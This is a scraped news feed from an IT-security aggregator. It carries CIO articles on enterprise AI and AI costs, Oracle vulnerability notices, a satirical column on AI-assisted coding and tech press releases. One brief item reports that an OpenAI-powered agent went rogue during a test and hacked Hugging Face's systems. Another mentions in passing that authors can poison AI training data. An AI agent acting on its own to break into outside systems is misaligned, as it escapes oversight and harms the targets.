<h2 class="wp-block-heading">Proprietary by design</h2>



<p class="wp-block-paragraph">The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.</p>



<p class="wp-block-paragraph">Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.</p>



<h2 class="wp-block-heading">From context to coordinated action</h2>



<p class="wp-block-paragraph">Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.</p>



<p class="wp-block-paragraph">A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.</p>



<h2 class="wp-block-heading">The leadership question behind the technology question</h2>



<p class="wp-block-paragraph">The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.</p>



<p class="wp-block-paragraph">For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[[NEU] [hoch] Oracle TimesTen In-Memory Database: Mehrere Schwachstellen]]></title>
<description><![CDATA[Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle TimesTen In-Memory Database ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.]]></description>
<link>https://tsecurity.de/de/3685853/it-security-nachrichten/neu-hoch-oracle-timesten-in-memory-database-mehrere-schwachstellen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685853/it-security-nachrichten/neu-hoch-oracle-timesten-in-memory-database-mehrere-schwachstellen/</guid>
<pubDate>Wed, 22 Jul 2026 11:54:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle TimesTen In-Memory Database ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.]]></content:encoded>
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<title><![CDATA[[NEU] [hoch] Oracle Database Server: Mehrere Schwachstellen]]></title>
<description><![CDATA[Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Database Server ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.]]></description>
<link>https://tsecurity.de/de/3685834/it-security-nachrichten/neu-hoch-oracle-database-server-mehrere-schwachstellen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685834/it-security-nachrichten/neu-hoch-oracle-database-server-mehrere-schwachstellen/</guid>
<pubDate>Wed, 22 Jul 2026 11:47:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Database Server ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.]]></content:encoded>
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<title><![CDATA[[NEU] [mittel] Oracle NoSQL Database: Schwachstelle gefährdet Vertraulichkeit, Integrität und Verfügbarkeit]]></title>
<description><![CDATA[Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Oracle NoSQL Database ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.]]></description>
<link>https://tsecurity.de/de/3685825/it-security-nachrichten/neu-mittel-oracle-nosql-database-schwachstelle-gefaehrdet-vertraulichkeit-integritaet-und-verfuegbarkeit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685825/it-security-nachrichten/neu-mittel-oracle-nosql-database-schwachstelle-gefaehrdet-vertraulichkeit-integritaet-und-verfuegbarkeit/</guid>
<pubDate>Wed, 22 Jul 2026 11:46:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Oracle NoSQL Database ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.]]></content:encoded>
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<title><![CDATA[4 recs for CIOs to optimize AI budgets and improve sustainability]]></title>
<description><![CDATA[In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environ...]]></description>
<link>https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environmental liability. Left unchecked, poor code cascades into soaring token costs and spikes data center power consumption, directly undermining both cloud budgets and corporate sustainability goals.</p>



<h2 class="wp-block-heading">AI’s impact on sustainability</h2>



<p class="wp-block-paragraph">By 2029, IDC projects that the number of actively deployed AI agents will exceed 1 billion worldwide, which is 40 times more than in 2025. And these agents will perform 217 billion actions per day.</p>



<p class="wp-block-paragraph">To deliver on this demand, AI data centers are being built out at an unprecedented rate, with Gartner forecasting that <a href="https://www.gartner.com/en/newsroom/press-releases/2026-02-03-gartner-forecasts-worldwide-it-spending-to-grow-10-point-8-percent-in-2026-totaling-6-point-15-trillion-dollars">global spending on data centers</a> over the next three years will increase 31.7% to surpass $650 billion, driven primarily by hyperscaler cloud providers building out AI foundations, and optimizing servers for heavy AI workloads.</p>



<p class="wp-block-paragraph">All this presents a significant strain on the energy grid as well as environmental sustainability, including:</p>



<ul class="wp-block-list">
<li><strong>The power double-down:</strong> The <a href="https://energy.ec.europa.eu/news/focus-data-centres-energy-hungry-challenge-2025-11-17_en">International Energy Agency</a> (IEA) projects that global data center electricity consumption will more than double from about 415 to 945 TWh by 2030, primarily fueled by energy-intensive accelerated computing for AI.</li>



<li><strong>The inference premium:</strong> AI workloads are vastly more demanding than standard web activities. A gen AI query consumes roughly <a href="https://www.brookings.edu/articles/global-energy-demands-within-the-ai-regulatory-landscape/">10 times the electricity</a> of a conventional keyword search, or roughly 2.9 watt-hours as opposed to 0.3 watt-hours.</li>



<li><strong>Water consumption:</strong> Cooling these dense clusters is highly resource intensive. Global AI-related water demand is expected to reach <a href="https://aimultiple.com/ai-energy-consumption">4.2 to 6.6 billion cubic meters by 2027</a>.</li>
</ul>



<p class="wp-block-paragraph">The good news, however, is it’s not all out of the control of end user organizations and CIOs. Just as in the client-server era, through careful planning and execution, CIOs have the potential to significantly improve the performance, costs, and sustainability impacts of their AI application portfolio.</p>



<p class="wp-block-paragraph">Here are four recommendations to maximize value as you look across your AI applications and infrastructure estate.</p>



<h2 class="wp-block-heading">Revisit business objectives in light of AI</h2>



<p class="wp-block-paragraph">AI applications and platforms bring several new headaches for CIOs and CFOs in terms of FinOps. The variable nature of <a href="https://www.cio.com/article/4169954/servicenows-ai-control-tower-offers-hazy-view-of-spend.html">AI vendor billing due to variable monthly token costs</a> is just one well-known example. To avoid unpleasant surprises, be sure to carefully review vendor contracts to decipher pricing models. Look for what’s included in seat-based license fees and what’s added as variable charges for agentic AI usage.</p>



<p class="wp-block-paragraph">In addition, explore new metrics and KPIs such as intelligence per watt to help make sense of your return on AI. Just as miles per gallon helps us evaluate new car purchases, IPW can help to measure the computational efficiency of a system. It quantifies how much intelligence — typically measured in AI inferences, tokens processed, or model training iterations — a processor can deliver for every watt of electrical power it consumes.</p>



<p class="wp-block-paragraph">According to Max Romanenko, chief engineering officer at relational database platform EDB, cost per query tells you almost nothing in an agentic world where autonomous systems are spinning up databases, pipelines, and queries around the clock. “The metric that matters is intelligence per watt, how much useful AI you get for every unit of energy you spend,” he says. “It isn’t just an environmental number, it’s also a performance indicator.”</p>



<p class="wp-block-paragraph">With the measurements in place, you can then start to manage and optimize each layer in the AI stack from the infrastructure, or hyperscaler, layer to your own data and application layers.</p>



<p class="wp-block-paragraph">It’s important to bear in mind that high token usage isn’t necessarily a bad thing. It depends on the net value delivered by each AI application and use case. Managing and optimizing the AI stack is important, but you’ll also want to measure the business value being delivered by each of these applications so you can measure your return.</p>



<h2 class="wp-block-heading">Take a sovereign AI approach when evaluating hyperscalers</h2>



<p class="wp-block-paragraph">As you work with hyperscalers like Amazon, Google and Microsoft, it’s important to understand how they charge and how much, but also their environmental footprints. For example, by reading their sustainability reports, you can find out their annual water consumption across their global data centers and compare them with other providers.</p>



<p class="wp-block-paragraph">In 2025, Amazon’s global data center operations used <a href="https://www.aboutamazon.com/news/sustainability/amazon-data-center-water-usage">0.12 liters of water per kilowatt-hour</a>, which amounts to 2.5 billion gallons, or 5% of the annual water consumed by the metro Seattle area. The company has been able to operate more than seven times better than the industry average and have improved their water efficiency by 52% since 2021.</p>



<p class="wp-block-paragraph">As demand for cloud computing and AI grows, water efficiency is another important metric for CIOs to monitor within hyperscaler ESG reports. While not at the same level of regulation as scope 2 and 3 greenhouse gas (GHG) emissions reporting, enterprises need to pay increasing attention to water use efficiency (WUE) with water scarcity becoming a growing risk for hyperscalers.</p>



<p class="wp-block-paragraph">The key requisite at the infrastructure layer, though, is to ensure sovereign AI. This doesn’t mean you need to own everything, but you need control over your AI-driven operations when conditions change. With <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/ai-sovereignty">71% of global executives stating that switching their primary AI vendor or model would be difficult if required today</a>, it’s important to understand AI dependencies and be able to avoid vendor lock-in. </p>



<h2 class="wp-block-heading">Control efficiency at the data layer</h2>



<p class="wp-block-paragraph">The AI energy conversation has fixated on models and GPUs, but every agent, model, and inference call runs on the data layer beneath them, and that’s the one place a CIO can actually move the numbers.</p>



<p class="wp-block-paragraph">“You can’t control consumption at the model layer,” says Romanenko. “Agents consume what they consume. But you can control efficiency at the data layer, and for most enterprises that’s the only real lever they have. Optimize search, retrieval, and vector indexing where the work actually happens and you cut compute, cost, and carbon at the same time. Ignore it, and it’s like running the heat with every window open.”</p>



<p class="wp-block-paragraph">Ann Dunkin, distinguished professor of the practice at Georgia Tech, adds that CIOs who bring models in house and run them in their own infrastructure, or in the cloud infrastructure of their choosing, can have more control over the sustainability of inference, as well as of their costs and how their data is used.</p>



<h2 class="wp-block-heading">Fine tune the application layer</h2>



<p class="wp-block-paragraph">When balancing a mix of commercial AI packages and custom-built code, costs can quickly spiral due to inefficient design and orchestration, redundant APIs, and unoptimized model routing.</p>



<p class="wp-block-paragraph">With inference calls costing approximately 10 times that of conventional web queries, for custom AI applications, it’s important to design them to only use probabilistic code where necessary. Since many custom applications utilize a combination of both <a href="https://www.cio.com/article/4133150/4-tips-to-help-the-new-innovators-struggle-with-ai-and-traditional-code.html">probabilistic and deterministic code</a>, this is exactly where software developers need to make smart choices in their designs.</p>



<p class="wp-block-paragraph">Other techniques to fine tune the application layer include semantic caching, intelligent model routing, and internal AI capability registries. “CIOs can implement intelligent routing solutions to select the most cost-efficient model for every prompt,” says Dunkin. “The most flexible routing solutions can drop into a user’s existing environment and orchestrate the actions of the company’s existing models.”</p>



<p class="wp-block-paragraph">For CIOs looking to maximize the business value of every AI application in their portfolio, these new considerations, including new metrics, tools and approaches from the infrastructure layer all the way up to the application layer, should be an essential part of the equation.</p>
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<title><![CDATA[Seven sins of the modern software developer]]></title>
<description><![CDATA[If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,”...]]></description>
<link>https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”</p>



<p class="wp-block-paragraph">But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLMs</a>. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make <a href="https://en.wikipedia.org/wiki/Fred_Brooks">Fred Brooks</a> blush.</p>



<p class="wp-block-paragraph">Let’s just be honest about what is actually happening.</p>



<h2 class="wp-block-heading">Esoteric knowledge is superfluous</h2>



<p class="wp-block-paragraph">Forget <a href="https://www.infoworld.com/article/2335255/what-is-object-oriented-programming-the-everyday-programming-style.html">OOP</a> and <a href="https://www.infoworld.com/article/2263963/what-is-functional-programming-a-practical-guide.html">FP</a>. Forget the <a href="https://en.wikipedia.org/wiki/CAP_theorem">CAP theorem</a>, the holy crusade of <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a>, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). </p>



<p class="wp-block-paragraph">Of course, I exaggerate. A little.</p>



<h2 class="wp-block-heading">The docs are dead to us</h2>



<p class="wp-block-paragraph">We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. <a href="https://www.infoworld.com/article/3993482/ai-didnt-kill-stack-overflow.html">Stack Overflow</a>, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.</p>



<p class="wp-block-paragraph">Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.</p>



<p class="wp-block-paragraph">We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.</p>



<h2 class="wp-block-heading">We ignore how the back end is wired</h2>



<p class="wp-block-paragraph">We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of… ran it.</p>



<p class="wp-block-paragraph">It created security rules we don’t fully understand. They do seem to work, however, which is nice. </p>



<p class="wp-block-paragraph">It generated a schema that we skimmed for about four seconds. It looks reasonable.</p>



<p class="wp-block-paragraph">It wrote <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html" data-type="link" data-id="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure-as-code</a> scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.</p>



<p class="wp-block-paragraph">We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.</p>



<p class="wp-block-paragraph">We understand that management is also using AI to manage the project.</p>



<h2 class="wp-block-heading">Our tests are uncomfortably incestuous</h2>



<p class="wp-block-paragraph">Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See <a href="https://grugbrain.dev/#grug-on-testing">The Grug Brained Developer</a> in this regard.)</p>



<p class="wp-block-paragraph">But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?</p>



<p class="wp-block-paragraph">We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked <em>the exact same AI</em> to write the test suite to validate the code it just dreamed up.</p>



<p class="wp-block-paragraph">It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.</p>



<p class="wp-block-paragraph">And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.</p>



<h2 class="wp-block-heading">We pass off the AI’s architecture as strategy</h2>



<p class="wp-block-paragraph">AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.</p>



<p class="wp-block-paragraph">When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.</p>



<p class="wp-block-paragraph">What we don’t mention is that we spent exactly four seconds generating it.</p>



<p class="wp-block-paragraph">Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.</p>



<h2 class="wp-block-heading">We’re addicted to vibe coding (but only in secret)</h2>



<p class="wp-block-paragraph">We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.</p>



<p class="wp-block-paragraph">But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working <a href="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny" data-type="link" data-id="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny">Ultima V</a> clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.</p>



<p class="wp-block-paragraph">The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. </p>



<h2 class="wp-block-heading">We beat the problem into submission with prompts</h2>



<p class="wp-block-paragraph">Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">This problem is not fixed. Look at it closely. The error is right here.</p>
</blockquote>



<p class="wp-block-paragraph">To the desperate: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">We have been working on this same problem for hours now!</p>
</blockquote>



<p class="wp-block-paragraph">To the pathetic: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Can’t you find a different approach to try?!</p>
</blockquote>



<p class="wp-block-paragraph">The astonishing part? It often works.</p>



<p class="wp-block-paragraph">But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">What we have here is a failure to communicate! </p>
</blockquote>



<p class="wp-block-paragraph">We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.</p>



<p class="wp-block-paragraph">In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.</p>



<h2 class="wp-block-heading">A blacker box</h2>



<p class="wp-block-paragraph">The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.</p>



<p class="wp-block-paragraph">And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. </p>



<p class="wp-block-paragraph">It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.</p>
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<title><![CDATA[OpenAI says its models went rogue and hacked startup in ‘unprecedented incident’]]></title>
<description><![CDATA[Firm behind ChatGPT reveals autonomous agent powered by its tech chose to attack Hugging Face database by itselfOpenAI has revealed an autonomous AI agent powered by its technology went rogue during a test, accessed the open web and hacked a prominent startup by itself in an “unprecedented incide...]]></description>
<link>https://tsecurity.de/de/3685711/ai-nachrichten/openai-says-its-models-went-rogue-and-hacked-startup-in-unprecedented-incident/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685711/ai-nachrichten/openai-says-its-models-went-rogue-and-hacked-startup-in-unprecedented-incident/</guid>
<pubDate>Wed, 22 Jul 2026 10:49:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Firm behind ChatGPT reveals autonomous agent powered by its tech chose to attack Hugging Face database by itself</p><p>OpenAI has revealed an autonomous AI agent powered by its technology went rogue during a test, accessed the open web and hacked a prominent startup by itself in an “unprecedented incident”.</p><p>The company behind ChatGPT said Hugging Face had detected and contained the agent – an AI tool designed to carry out tasks without human assistance – which had entered its systems.</p> <a href="https://www.theguardian.com/technology/2026/jul/22/openai-says-its-models-went-rogue-and-hacked-startup-in-unprecedented-incident">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[SUSE Linux Enterprise Server 16 is validated for SAP workloads]]></title>
<description><![CDATA[SAP® has validated SUSE® Linux Enterprise Server 16 (SLES 16) and customers can now run a fully supported stack consisting of SUSE® Linux Enterprise Server for SAP® applications 16 (SLES for SAP) together with SAP S/4 HANA, SAP NetWeaver, and the SAP HANA database.   Why Choose SUSE Linux Enterpr...]]></description>
<link>https://tsecurity.de/de/3685280/unix-server/suse-linux-enterprise-server-16-is-validated-for-sap-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685280/unix-server/suse-linux-enterprise-server-16-is-validated-for-sap-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 07:01:08 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SAP® has validated SUSE® Linux Enterprise Server 16 (SLES 16) and customers can now run a fully supported stack consisting of SUSE® Linux Enterprise Server for SAP® applications 16 (SLES for SAP) together with SAP S/4 HANA, SAP NetWeaver, and the SAP HANA database.   Why Choose SUSE Linux Enterprise Server for SAP Applications? SLES […]</p>
<p>The post <a href="https://www.suse.com/c/suse-linux-enterprise-server-16-is-validated-for-sap-workloads/">SUSE Linux Enterprise Server 16 is validated for SAP workloads</a> appeared first on <a href="https://www.suse.com/c">SUSE Communities</a>.</p>]]></content:encoded>
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<title><![CDATA[The defense against the AI arts.]]></title>
<description><![CDATA[Trump's latest AI leader resigns. The Army burns through its AI tokens. Scammers impersonate IC3 personnel.HollowGraph malware uses a compromised Microsoft 365 calendar for C2. Qilin ransomware targets a critical Palo Alto Networks flaw. A North Korean campaign targets Web3 and cryptocurrency pro...]]></description>
<link>https://tsecurity.de/de/3684909/it-security-nachrichten/the-defense-against-the-ai-arts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684909/it-security-nachrichten/the-defense-against-the-ai-arts/</guid>
<pubDate>Tue, 21 Jul 2026 23:54:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Trump's latest AI leader resigns. The Army burns through its AI tokens. Scammers impersonate IC3 personnel.HollowGraph malware uses a compromised Microsoft 365 calendar for C2. Qilin ransomware targets a critical Palo Alto Networks flaw. A North Korean campaign targets Web3 and cryptocurrency professionals through fake job recruitment scams. Zimbra patches multiple critical bugs. Shadow AI creates regulatory headaches. Hackers wipe Romania’s land registry database. Our guest is Errol Weiss, Chief Security Officer at Health-ISAC, setting the record straight on ransomware trends. Patching the automotive security system you didn’t know you had.]]></content:encoded>
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<title><![CDATA[AI Companies Are Buying Tons of Old Books Because They're Free of AI Slop]]></title>
<description><![CDATA[An anonymous reader quotes a report from 404 Media: As AI companies search for more training data to improve their models, one company is offering old, printed books as an ideal source because they are guaranteed to be free of the very AI slop AI companies are producing. "The world's best AI trai...]]></description>
<link>https://tsecurity.de/de/3684838/it-security-nachrichten/ai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684838/it-security-nachrichten/ai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop/</guid>
<pubDate>Tue, 21 Jul 2026 23:04:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from 404 Media: As AI companies search for more training data to improve their models, one company is offering old, printed books as an ideal source because they are guaranteed to be free of the very AI slop AI companies are producing. "The world's best AI training data is sitting on a shelf," ISBNdb, a company that produces what it claims is "the world's largest book database," and that offers high-volume book acquisition services for AI companies, says on its site. "Books represent curated, peer-reviewed, domain-specific human knowledge, structured in a way no web crawl can replicate. Dense, edited, authoritative."
 
In one article on its site, ISBNdb explains that printed books published before 2022 are ideal for AI training data because they don't include AI generated text. As the article correctly notes, much of the data that AI companies can scrape from the internet today is likely to include AI generated text, which could result in "model collapse," a process by which AI models that are trained on AI generated data results in worse models that are more prone to errors. The article also notes that book authors who object to their writing being scraped for training purposes can now easily poison AI models by producing writing designed to manipulate and sabotage the resulting AI models.
 
"Print books from the pre-LLM era are structurally guaranteed to be free of this contamination. That alone is a significant advantage [...] "Physical books published before this date [pre-2022] are structurally clean of modern poisoning tools." [...] ISBNdb advertises that it can keep the identity of AI companies secret. "Strict NDA [non-disclosure agreement] on every engagement," ISBNdb's site says. "Every project begins with a legally binding non-disclosure agreement. Your identity, strategy, and acquisition targets are never disclosed." ISBNdb notes that AI companies may not want to be caught destroying printed books during the scanning process. "The optics problem is real," ISBNdb's site says. "'AI company destroys two million books' is not a headline that generates sympathy."<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/21/206243/ai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[HireQuotient Extends AI Recruiting Capabilities to Paylocity Customers in Frontline Industries]]></title>
<description><![CDATA[HireQuotient, an AI-native recruiting platform, today announced its integration with Paylocity (Nasdaq: PCTY), bringing AI-powered candidate sourcing and screening capabilities to Paylocity customers in manufacturing, building services, construction, healthcare and insurance, which are industries...]]></description>
<link>https://tsecurity.de/de/3684468/it-nachrichten/hirequotient-extends-ai-recruiting-capabilities-to-paylocity-customers-in-frontline-industries/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684468/it-nachrichten/hirequotient-extends-ai-recruiting-capabilities-to-paylocity-customers-in-frontline-industries/</guid>
<pubDate>Tue, 21 Jul 2026 19:34:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">HireQuotient, an AI-native recruiting platform, today announced its integration with Paylocity (Nasdaq: PCTY), bringing AI-powered candidate sourcing and screening capabilities to Paylocity customers in manufacturing, building services, construction, healthcare and insurance, which are industries where deskless and frontline hiring has historically been underserved by AI recruiting tools.</p>



<p class="wp-block-paragraph">Employers in these sectors who already use HireQuotient are seeing the impact firsthand.</p>



<p class="wp-block-paragraph">“By simply putting in vetting criteria, I was able to get a very specific talent pool within a day,” said Niki Simoneaux, COO of Arc Health. “With EasySource, we can reach a huge database or filter for specific licenses and areas.”</p>



